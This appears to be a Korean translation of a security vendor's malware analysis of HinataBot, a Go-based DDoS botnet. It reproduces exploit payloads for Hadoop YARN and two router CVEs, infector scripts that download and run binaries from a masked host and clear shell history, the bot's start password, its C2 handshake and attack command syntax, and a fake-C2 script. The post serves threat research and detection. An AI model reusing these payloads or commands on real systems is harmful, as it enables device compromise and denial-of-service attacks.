HinataBot 파헤치기: Go 언어 기반의 위협 심층 분석
편집 및 추가 기여: 트리샤 하워드(Tricia Howard)
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT) 연구원은 DDoS에 초점을 맞춘 새로운 Go 언어 기반의 봇넷을 발견했습니다. 이 멀웨어의 제작자는 인기 애니메이션 시리즈인 나루토의 등장 캐릭터 중 하나의 이름에 따라 멀웨어의 이름을 'Hinata'라고 정했습니다. Akamai는 이 멀웨어를 HinataBot이라고 부릅니다.
HinataBot은 2023년 1분기에 배포되었으며, 제작자와 운영자가 활발하게 업데이트하고 있습니다.
샘플은 이전 취약점과 취약한 인증정보를 악용하는 HTTP 및 SSH 허니팟에서 발견되었습니다.
Realtek SDK 디바이스(CVE-2014-8361), Huawei HG532 라우터(CVE-2017-17215), 노출된 Hadoop YARN 서버(CVE N/A)의 miniigd SOAP 서비스 악용 등을 통해 감염 시도가 자행되었음이 확인되었습니다.
멀웨어를 리버스 엔지니어링하고 C2(Command and Control) 서버를 모방함으로써 멀웨어의 작동 원리와 그 결과 발생하는 공격 트래픽에 대한 고유한 특징을 심층적으로 파악할 수 있었습니다.
HinataBot 소개
HinataBot은 Akamai SIRT의 보안 연구원이 최근 HTTP 및 SSH 허니팟에서 발견한 Go 언어 기반 멀웨어입니다. 이 샘플은 크기가 크고 새로운 해시에 대한 구체적인 식별이 부족한 면이 특히 눈에 띄었습니다. 멀웨어 바이너리는 파일 이름 구조가 'Hinata-<OS>-<Architecture>' 형식으로 되어 있으며, 멀웨어 제작자는 인기 애니메이션 시리즈인 나루토 등장 캐릭터의 이름을 멀웨어에 붙였습니다.
HinataBot은 GoBruteForcer 및 (SIRT에 의해) 최근 발견된 kmsdbot과 같은 봇넷을 포함해 계속 늘어나는 새로운 Go 기반 위협 목록 중 가장 최신 봇넷이라고 할 수 있습니다. 공격자가 고성능, 손쉬운 멀티 스레딩, 다중 아키텍처, 운영 체제 크로스 컴파일 지원 등의 장점을 활용할 목적으로 Go 언어가 활용되었지만, 컴파일할 때 복잡성이 가중되어 결과 바이너리를 리버스 엔지니어링하기가 더욱 어렵습니다.
HinataBot은 다이얼아웃 및 수신 연결 수신 대기 등 다양한 통신 방법을 사용하며 HTTP, UDP, TCP, ICMP와 같은 프로토콜을 사용해 트래픽을 전송하는 DDoS(Distributed Denial-of-Service) 플러딩 공격에서 관찰되었습니다. 하지만, 최신 버전의 HinataBot은 공격 기법을 HTTP 및 UDP 공격으로 좁혔습니다.
HinataBot의 감염 캠페인
관찰된 배포 방법은 감염 스크립트와 전체 페이로드를 혼합한 형태였습니다. 즉, Hadoop YARN RCE(그림 1)와 Realtek SDK 디바이스 내 miniigd SOAP 서비스의 취약점(CVE-2014-8361, 그림 2 참조) 악용을 혼합한 것입니다.
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
그림 1: Hadoop YARN RCE를 통한 페이로드 배포
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
그림 2: CVE-2014-8361을 통한 페이로드 배포
이러한 공격은 2023년 1월 11일에서 1월 16일 사이에 발생했습니다. 공격자들은 시간이 지남에 따라 업데이트되는 여러 버전의 감염자 스크립트를 사용했습니다. 이러한 스크립트 중 두 가지 기본 스크립트의 이름은 'wget.sh'(그림 3)와 'tftp.sh'(그림 4)이며, 적절한 페이로드를 가져오는 데 사용되는 각각의 프로토콜을 반영합니다.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
그림 3: wget을 사용해 페이로드를 다운로드하는 감염자 스크립트 wget.sh
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
그림 4: ftp를 사용해 페이로드를 다운로드하는 감염자 스크립트 tftp.sh
SSH 허니팟에서 공격자는 무차별 대입 기법을 사용해 일반적인 사용자 이름과 비밀번호 조합을 시도했습니다. 성공적으로 로그인한 후 공격자는 셸을 열고 그림 5의 작업을 계속 실행했습니다.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
그림 5: Cowrie honeypots에서 페이로드의 다운로드를 시도하는 셸 스크립트
HinataBot 멀웨어는 다양한 아키텍처와 운영 체제에서 실행되도록 설계된 Go 바이너리로 배포되었습니다. 최근 여러 플랫폼을 위해 특화된 전문 페이로드를 개발하는 멀웨어 제작자의 이러한 트렌드는 점점 더 보편적으로 퍼지고 있습니다(그림 6). 이는 크로스 컴파일의 용이성과 사물 인터넷(IoT), 덜 일반적인 CPU 아키텍처를 실행하는 소규모 사무실 및 홈 오피스 디바이스가 원인일 가능성이 높으며, 이러한 환경에는 공격 표적이 아주 많다고 말할 수 있습니다.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
그림 6: 다양한 OS 및 아키텍처 조합을 사용한 페이로드
분산 IP를 피벗으로 활용해 이전에 배포에 사용되었던 두 개의 추가 IP를 탐지할 수 있었습니다. 각각의 경우 피벗 IP가 프록시로 사용되었습니다. 추가 분석 결과, 공격자는 자체 Go 언어 기반 멀웨어를 개발하기 전에 일반적인 Mirai 변종을 배포하려고 했으며, 이는 UPX로 패킹되었으며 식별하기 어려운 이름을 사용하는 변종이었습니다(그림 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
그림 7: 다양한 감염자 스크립트 및 일반 Mirai 바이너리
최초의 멀웨어 배포 시도는 2022년 12월에 시작되었으며 매우 다른 감염자 스크립트를 사용했습니다(그림 8). 이러한 초기 스크립트는 제작자가 기법과 툴링의 효과를 평가하기 위해 실행하는 초기 테스트일 수 있습니다.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
그림 8: 레거시 감염 스크립트
또한 공격자가 이전 버전의 감염자 스크립트를 배포하기 위해 악용하는 또 다른 취약점을 탐지할 수 있었습니다(그림 9). 이 취약점은 CVE-2017-17215로 Huawei HG532 라우터에 영향을 미치고 임의의 원격 코드를 실행하도록 허용합니다.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
그림 9: CVE-2017-17215를 활용한 Huawei HG532 라우터 감염
HinataBot의 배후에 있는 공격자는 이미 2022년 12월부터 활동해 왔지만, 2023년 1월 중순이 되어서야 자체 멀웨어 개발을 시작했습니다. 그 이후로 멀웨어가 여러 번 반복되고 감염 기법에서 다양한 피벗이 발생하는 것을 관찰했습니다. 배포와 C2(Command and Control) 연결에 사용되는 기본 IP에는 스팸 및 멀웨어 배포에 참여한 기록이 있습니다. 이 시점에서 IP가 애초에 악성인지, 아니면 단순히 감염되어 남용되었는지 여부는 완전히 밝혀지지 않았습니다.
Mirai의 영향
앞서 언급했듯이, HinataBot의 배후에 있는 공격자는 IoT 디바이스를 표적으로 하기 시작한 유명한 멀웨어 제품군인 Mirai 바이너리를 오픈 소스로 배포했으며, 다양한 공격자와 그룹에서 계속해서 도입했고 이에 따라 진화하고 있습니다. Mirai는 이제 여러 제작자, 공격자, 그룹이 구축한 여러 변종 및 봇넷에 활용되었습니다.
과거 DNS 기록을 살펴보면, 최근 2023년 2월에 HinataBot과 가장 최근에 연관되었던 IP가 'hihi.mirailover.pw' 도메인에 대해 리졸브하고 있다는 것을 알 수 있습니다(그림 10).
Mirai를 Go 언어로 재작성하려는 수많은 공개적인 시도가 있었으며, HinataBot은 이러한 시도 중 일부와 유사한 구조를 따르는 것으로 보입니다. 예를 들어, HinataBot이 주요 방식으로 통신을 설정하는 방식과 명령어를 구문 분석하고 고유한 공격 방식으로 공격을 시작하는 방식은 다른 Go 언어 기반의 Mirai 변종에서 사용되는 구조와 비슷합니다.
HinataBot는 아직 개발 단계에 있으며 발전하고 있다는 점에 주목할 필요가 있습니다. 따라서 멀웨어가 어떻게 변할지, 앞으로 어떻게 변할지는 예측하기 어렵습니다.
첫인상
처음에는 가장 최근에 배포된 IP에 연결하려고 시도했으나 핑이 가능했음에도 불구하고 서버에서 직접 샘플을 다운로드할 수 없었습니다. 이는 공격자가 보안 메커니즘을 구축했거나 배포 후 샘플을 제거함으로써 직접적인 공격 외부에서 샘플을 얻기가 더 어렵다는 의미일 수 있습니다. 동일한 공격자의 이전 캠페인에서는 무작위 이름 패턴을 사용한 것으로 관찰했습니다(그림 9).
다행히도 초기 감염 시점에 샘플을 저장해 둔 자동 분석 툴을 사용해 샘플을 직접 확인할 수 있었습니다. MIPS32 및 x86-64 버전을 멀웨어 저장소에서 다운로드하고 정적 분석을 시작했습니다. 바이너리는 모두 Go로 작성되었지만, 손상되지 않았고 언패킹되었으며, 스트리핑되지 않았기 때문에 비교적 쉽게 사용할 수 있었습니다(그림 11). 이 게시가 발행되기 전 며칠 동안 바이너리 버전이 스트리핑되었으며, 이 때문에 리버스 엔지니어링이 더 어려울 것입니다.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
그림 11: Hinata에서 'file' 명령어 실행
처음에는 2개월 된 HinataBot 멀웨어 샘플(그림 12)을 분석하기 시작했지만, 나중에 로그에서 멀웨어를 발견한 당일에 배포된 새로운 샘플(그림 13)을 발견했습니다. 이후 새로운 샘플을 분석하는 방향으로 선회했습니다.
두 버전 간의 주요 차이점은 새로운 샘플이 간소화되고 모듈식 기능이 더 많다는 것입니다. 또한 최신 샘플에는 원래 버전에는 없는 몇 가지 기본 보안 조치가 포함되어 있습니다. 이러한 차이점에 대해서는 이 게시물의 뒷부분에 있는 섹션에서 자세히 살펴보겠습니다.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
그림 12: 2023년 1월 이후 HinataBot 샘플
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
그림 13: 2023년 3월 이후 HinataBot 샘플
분석 과정에서 몇 가지 함수가 즉시 눈에 띄었습니다. 세 가지 공격 함수는 바로 sym.main.startAttack, sym.main.http_flood, sym.main.udp_flood 입니다(그림 14). 이러한 함수를 명명한다면 해당 멀웨어가 DDoS 공격을 개시하려는 의도가 있다는 것을 암시합니다.
멀웨어를 더 상세히 분석한 결과, C2 통신에 대한 레퍼런스가 발견되어 HinataBot이 DDoS 기반 봇넷 구축 캠페인의 일부라는 단서를 추가로 파악했습니다(그림 15).
C2 통신 매핑
HinataBot 멀웨어가 C2에 연결을 설정하는 방식을 이해하기 위해 문자열 "Connection to CNC is OK!(CNC에 대한 연결에 문제가 없습니다!)"에서부터 역으로 작업하면서 이에 대한 상호 레퍼런스를 검색하기 시작했습니다(그림 16). 이 프로세스를 통해 멀웨어가 C2와 통신하는 메커니즘을 매핑할 수 있었습니다.
조사 결과, 감염 캠페인 중에 멀웨어가 배포된 동일한 IP에서 TCP/1420을 수신하는 HinataBot의 C2 서버를 사용할 수 있었습니다(그림 17).
어셈블리 코드를 통해 발견된 또 다른 점은 연결에 사용되는 API 레퍼런스('API_CONNECTION_ATTACK')와 시도하려고 했던 감염된 디바이스에 다시 실행할 수 있는 수많은 명령어였습니다(그림 18).
이 시점에서 샘플이 배포 및 C2 서버에 다시 연결되어 봇이 실행 중임을 C2에 알리고 명령어를 기다릴 것이라고 확신했지만, C2 서버는 오프라인 상태였습니다.
관측 결과 중 한 가지 흥미로운 점이 있다면, HinataBot이 TCP 및 61420에서 자체 수신 포트를 열기도 한다는 것입니다(그림 19). 이 리서치의 주요 목표는 이 봇넷이 생성할 수 있는 공격 트래픽을 더 잘 이해하는 것이었기에 범위를 벗어난 것으로 보이므로 이 기능을 조사하는 데 많은 시간을 소비하지 않았습니다.
그러나 이 수신기의 타이밍 차이는 C2에 대한 연결 성공 여부에 달려 있습니다. C2에 성공적으로 연결되면 이 수신기는 3분 후에 꺼집니다. C2에 연결할 수 없는 경우 이 포트는 명백한 시간제한 없이 수신 대기합니다. 이 포트가 운영자에게 어떤 기능을 제공하는지(P2P 기능인지, 아니면 업데이트·제어·복구 기능인지 등) 완전히 이해하기 위해 이 포트에 대한 추가 리서치가 필요합니다. 이 글을 쓰는 시점에는 확실한 답을 제시할 수 없습니다.
HinataBot에 말 걸기
다음 조사 단계에서는 의도적으로 여러 대의 머신을 감염시키고 C2 서버를 만들어 HinataBot의 상호 작용, 보안 조치, 트래픽 패턴을 분석했습니다. HinataBot 리버스 엔지니어링 과정에서 이루어진 몇 가지 프로세스와 관찰 결과에 대해 간략하게 살펴보겠습니다.
HINATA_START_NICE
앞서 언급한 바와 같이, 새로운 HinataBot 샘플에는 이전 버전에는 없는 몇 가지 기본 보안 조치가 포함되어 있습니다. 첫 번째 조치는 비밀번호의 필수 사항이었습니다. 샘플을 실행할 때는 포착되지 않은 예외를 가장 먼저 알아차리게 됩니다. 그 결과 나타나는 오류 메시지에서 이 문제를 명확하게 확인할 수 있습니다(그림 20).
오류 메시지를 면밀히 검토한 결과, 샘플 실행 시 추가적인 인수를 전달해야 한다는 사실을 발견했습니다. 이 인수에는 말 그대로 포착되지 않은 예외를 통과할 수 있지만, HinataBot는 그냥 깔끔하게 종료됩니다. 여기에서, HinataBot이 이 인수에서 무엇을 찾고 있는지 보기 위해 분해 작업으로 돌아가야 한다는 것을 명백히 알게 되었습니다.
멀웨어 샘플을 검색해 17자(0x005fe3d2) 문자열인 "HINATA_START_NICE"(0x005fe3d8)를 확인했으며 이는 sym.runtime.memequal 호출(0x005fe3e0)에 사용됩니다. 호출이 실패하면 해당 멀웨어가 RET 명령으로 이어져 실행을 중단시킬 수 있습니다(그림 21). 샘플을 실행할 때 이 문자열을 인수로 사용하니 보다 흥미로운 코드가 실행되었습니다.
흥미롭게도, Hinata라는 나루토 애니메이션 캐릭터는 여유롭고 친절한 부드러운 캐릭터로 시작했다가 치열한 투사로 변모합니다. 이는 멀웨어가 C2로 통신하고 공격 실행에 참여하기 전에 "HINATA_START_NICE" 인수를 먼저 사용하는 것에서 유추할 수 있습니다.
이 비밀번호 요구사항은 2023년 1월 이전의 HinataBot 멀웨어 샘플에는 없었으므로 접한 대부분의 감염 스크립트에는 이 인수가 포함되어 있지 않았습니다. 그러나 이 요구사항을 발견한 후 면밀한 검토를 통해 새로운 감염 스크립트(그림 22)를 추적할 수 있었으며, 이 스크립트는 감염 시 바이너리로 인수를 전달했습니다. 이러한 점을 사전에 알았다면 유용했을 것입니다.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
그림 22: 비밀번호를 사용하는 새로운 감염 스크립트
Go.123+Strings-456.Are_789-Weird
HinataBot 샘플에 대한 분석 결과, 바이너리 내에 포함된 매우 긴 일반 텍스트 문자열의 많은 수를 밝혀냈습니다. Go는 문자열 리터럴을 "문자열 테이블" 또는 "문자열 내부 풀"이라고 하는 연속된 메모리 블록에 저장함으로써 문자열 리터럴을 저장하는 고유한 접근 방식을 사용합니다.
따라서 Go 바이너리에서 문자열 명령어나 디스어셈블러를 실행할 때 출력 데이터가 혼동을 일으키는 문자 혼합으로 나타날 수 있으므로 테이블에서 개별 문자열을 구분하기가 어려울 수 있습니다(그림 23).
이 기술은 일반적으로 null로 끝나는 바이트 문자열을 저장하는 다른 프로그래밍 언어와는 다릅니다. 이러한 후행 null 바이트가 없으면 툴링은 null 바이트를 발견할 때까지 검색된 문자열을 계속 읽습니다. 이에 따라 간단한 문자열 분석이 더 어려워집니다.
코드 세그먼트에서 문자열 테이블 주소 세그먼트로 상호 레퍼런스를 확인하면 큰 테이블의 개별 문자열이 시작되는 위치를 탐지하는 데 도움이 될 수 있습니다. 일반적으로 문자열을 로딩하기 전이나 후에 레지스터에 로딩되는 길이를 식별하거나 참조되는 문자열 조각을 활용하는 함수 호출의 일부로 해당 길이를 식별할 수도 있습니다(그림 24). 익숙해지려면 시간이 좀 걸리지만, 일단 규칙에 익숙해지고 나면 매우 간단합니다.
말해줘, 구스
비밀번호 요구사항을 충족하기 위한 수단으로 C2 서버에 대한 연결을 설정하는 것이 관심사였습니다. 비밀번호를 발견한 방법과 유사한 방식으로, C2 서버에 연결하는 데 필요한 핸드셰이크 프로토콜의 필수 구성요소를 식별할 수 있었습니다. 해당 서버는 이 리서치 및 작성 당시에는 다운되어 있었습니다.
이 netcat 을 사용해 포트 1420에서 대기한 다음, C2 서버로 제어한 IP를 사용하기 위해 바이너리를 패치했습니다. 일단 연결되면 적절한 트리거를 감염된 디바이스로 전송해 공격 참여를 위한 준비를 합니다(그림 25).
이 핸드셰이크는 초기 연결로 구성되어 있었고, 봇은 'API_CONNECTION_BOT [os]/[architecture] [hostname]' 메시지를 전송했습니다. 그러면 봇은 C2 서버에서 API_CONNECTION_SIGNAL_OK 메시지가 반환될 것으로 예상해서 들어오는 명령어를 기대에 준비하고 있습니다(그림 26). 저희는 핸드셰이크를 평상시와 다르게 구성하고 API_CONNECTION_ATTACK: 신호를 보내 공격을 개시합니다.
이 연결의 유지 관리를 자동화하고 코드를 수정할 필요 없이 텍스트 파일에 저장된 명령어를 수정하고 전송할 수 있도록 매우 간단한 C2 서버를 만들었습니다. 따라서 매우 쉽고 빠르게 테스트할 수 있습니다(그림 27). 덕분에 이 리서치 과정에서 상당한 시간이 절약되었습니다.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
그림 27: 감염된 노드에 대한 연결을 유지하기 위해 C2를 다시 생성
HinataBot과의 상호 작용은 충분히 흥미로웠지만, 궁극적인 목표는 항상 멀웨어의 작동 상태를 관찰하고 공격 트래픽이 표적 시스템을 향해 전송될 때 어떻게 보이는지 확인하는 것이었습니다. 기본 C2 통신이 설정되었으니 공격 명령어를 자세히 알아보기 시작했습니다. 로직을 처리하고, 공격 명령어 구조를 매핑하고 있습니다.
본색을 드러낸 HinataBot
이 멀웨어의 최신 버전에는 다음과 같이 두 가지 주요 공격 방법이 있는데, 이는 HTTP 및 UDP입니다. 이전 버전에는 이 두 가지 외에도 ICMP 및 TCP Flood를 활용하는 공격 방법도 포함되어 있었는데, 이러한 방법이 제거된 이유는 확실하지 않습니다.
실제 공격 트래픽을 자세히 살펴보기 위해, 봇이 저희에게 신호를 전송할 때 임시 C2 서버를 사용해 연결을 유지했습니다. 이렇게 하면 공격 명령어에만 집중할 수 있으며 감염된 디바이스에 대한 연결을 유지할 필요가 없습니다.
광범위한 분석 및 테스트를 거친 후 결국 공격을 개시하고 전송되는 패킷의 캡처를 시작하는 데 필요한 구조와 필드를 매핑할 수 있었습니다. 멀웨어 제작자는 익명 함수, Goroutines, 채널, 작업자 풀, 대기 그룹과 같은 여러 가지 Go 규칙을 활용하기 때문에 리버스 엔지니어링하기가 조금 더 까다롭습니다. 결국에는 테스트를 거친 후 공격 명령어 구조를 알아냈습니다(그림 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
그림 28: 공격 명령어 구조
드디어 매핑된 기본 명령어 구조는 매우 간단합니다. 공격 명령어는 항상 API_CONNECTION_ATTACK: 으로 시작해 ATTACK_TYPE, TARGET, DURATION공격이라는 세 가지 필수 필드가 이어집니다. 그리고 udp_flood 의 경우, 네 번째 공격 UDP_OPTIONS 필드도 있습니다. 이 필드도 명령어 확인 방식으로 인해 udp_flood 공격을 실행하는 경우에 필요하지만, 이상하게도 유효할 필요는 없습니다.
공격 종류 0: http_flood
이 http_flood 명령어는 udp_flood 공격처럼 추가 옵션 매개변수를 사용하지 않는 것 같습니다. 네이티브 net.http Go 라이브러리에 의존하기 때문에, 이 공격에 대한 대부분의 설정 및 옵션 구문 분석은 Go 라이브러리 자체에서 직접 제공되며 TARGET 지시어를 통해 제어됩니다.
그림 29의 공격 명령에서 저희는 http_flood (0 종류) 공격을 실행하고 있으며, 이 공격은 127.127.127.127 의 TCP/31337 로 디렉션되며 10초 동안 지속됩니다. 경로, 포트, GET 매개변수 및 프로토콜은 모두 이 표적 지시어로 추론됩니다. 포트가 제공되지 않으면 기본적으로 TCP/80이 됩니다.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
그림 29: http_flood 공격에 대한 공격 명령어 구조
앞서 언급했듯이, 이 바이너리는 Go 자체의 net.http 라이브러리를 통해 공격을 수행합니다. 봇은 Goroutines를 통해 512명의 작업자 풀을 생성하고 각 작업자가 자체 net.http.Request 오브젝트를 생성합니다. 그림 30에서는 개별 작업자 내부에서 이러한 작업이 어떻게 작동하는지 확인할 수 있습니다.
먼저, 새로운 Context 오브젝트 및 새로운 RequestWithContext 클래스가 생성됩니다. 이 Context 오브젝트는 RequestWithContext 클래스에 의한 공격 동안 사용될 HTTP 헤더로 채워집니다. 이러한 헤더 중 일부는 정적이며 다른 헤더는 무작위로 표시됩니다. 그림 30에서 Rand Seed 및 Intn 호출을 볼 수 있는데, 이 호출은 바이너리 내에서 하드 코딩된 10개의 정적 사용자 에이전트 목록에서 임의의 User-Agent 를 선택하는 데 사용됩니다. 아래에서는 http_flood 공격 중에 멀웨어에서 발생하는 트래픽을 분석하면서 어떤 헤더를 찾아야 하는지에 대해 설명하겠습니다.
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
